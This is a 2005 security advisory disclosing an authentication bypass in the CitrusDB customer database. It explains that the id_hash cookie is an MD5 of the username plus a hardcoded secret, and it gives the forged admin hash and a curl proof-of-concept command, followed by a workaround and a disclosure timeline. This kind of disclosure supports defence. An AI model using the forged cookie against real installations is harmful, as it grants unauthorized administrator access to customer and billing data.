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Authentication Bypass In CitrusDB
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SUMMARY
<http://www.citrusdb.org/> CitrusDB is "an open source customer database
application that uses PHP and a database backend (currently MySQL) to keep
track of customer information, services, products, billing, and customer
service information".
CitrusDB uses an easily computable cookie for every user for
identification allowing a remote user to easily create the cookie required
to logon as the administrator of the product.
DETAILS
CitrusDB uses a cookie user_name to determine the name of the user and a
cookie id_hash to check if the user_name is valid. The id_hash is a MD5
checksum of the username with the string "boogaadeeboo" appended.
Example:
user_name: admin
id_hash: md5sum("adminboogaadeeboo") = 4b3b2c8666298ae9771e9b3d38c3f26e
An attacker only needs to guess a correct username, "admin" normally will
work since it is the default administrator name in CitrusDB.
Proof of Concept
curl -D - --cookie "id_hash=4b3b2c8666298ae9771e9b3d38c3f26e;
user_name=admin" http://<targethost>/citrusdb/tools/index.php
Workaround
Change $hidden_hash_var in /citrusdb/include/user.inc.php to a value
different than "boogaadeeboo". This way the an attacker needs to acquire a
correct cookie to get access or brute force a given MD5 in order to obtain
the configured $hidden_has_var.
Disclosure Timeline:
2005-02-04 Email sent to author
2005-02-12 CVE number requested
2005-02-14 posted as CAN-2005-0408
ADDITIONAL INFORMATION
The information has been provided by
<mailto:dornseif@informatik.rwth-aachen.de> Maximillian Dornseif.
The original article can be found at:
<http://tsyklon.informatik.rwth-aachen.de/redteam/advisories/rt-sa-2005-002.txt>
http://tsyklon.informatik.rwth-aachen.de/redteam/advisories/rt-sa-2005-002.txt
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